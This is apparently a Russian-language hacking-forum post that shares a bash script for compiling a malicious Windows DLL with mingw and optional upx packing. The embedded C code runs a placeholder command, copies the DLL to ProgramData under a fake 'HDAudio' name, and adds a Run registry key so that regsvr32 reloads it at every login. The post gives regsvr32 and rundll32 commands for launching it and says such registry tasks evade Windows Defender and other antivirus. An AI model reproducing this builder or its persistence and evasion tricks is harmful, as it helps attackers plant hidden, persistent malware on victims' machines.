Пожалуйста, обратите внимание, что пользователь заблокирован
Многие слышали, многие видели, еще больше хотят, но не могут =) Выкладываю небольшой скрипт, .sh , который позволит любому скомпилировать reflectivedll с собственно командой за две секунды =) Требует mingw и upx для последнующей компрессии (опция, закоменнтируйте если не нужна. И так, поехали:
--------------------------------------------------------------------------------------------
Использовать очень просто: либо
Кому понравилось и совсем не трудно - ткните в репу. Благодарю)
--------------------------------------------------------------------------------------------
Bash:
#!/bin/bash
[[ -z $(type upx) ]] && apt-get -y install upx
[[ -z $(type x86_64-w64-mingw32-g++) ]] && apt-get -y install mingw-w64-x86-64-dev
#//// this.dll /////
this="/tmp/this" ; cat<<'EOF'>"$this".c
#include <stdio.h>
#include <windows.h>
#ifdef BUILD_DLL
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT __declspec(dllimport)
#endif
BOOL running = FALSE;
void DLL_EXPORT initCallback()
{
if(!running) {
system("start /min C:\\Windows\\System32\\calc.exe && move this.dll C:\\ProgramData\\HDAudio.dll && reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v HighDefinitionAudio /t REG_SZ /f /d \"regsvr32 /s /i C:\\ProgramData\\HDAudio.dll,DllMain\"");
running = TRUE;
}
}
extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
initCallback();
break;
case DLL_PROCESS_DETACH:
initCallback();
break;
case DLL_THREAD_ATTACH:
initCallback();
break;
case DLL_THREAD_DETACH:
initCallback();
break;
}
return TRUE;
}
EOF
#//// compile /////
x86_64-w64-mingw32-g++ -Wall -DBUILD_DLL -O2 -c $this.c -o $this.c.o
x86_64-w64-mingw32-g++ -shared -Wl,--dll $this.c.o -o $this.dll
#upx --all-methos --all-filters $this.dll
mv $this.dll ~/this.dll
Использовать очень просто: либо
regsvr32 /s /i this.dll либо rundll32 this.dll,DllMain . Задачи у всех разные, но вот что рекомендую: задачи, типаreg add выполняются без триггера WD и других AV. Как использовать - думайте сами)Кому понравилось и совсем не трудно - ткните в репу. Благодарю)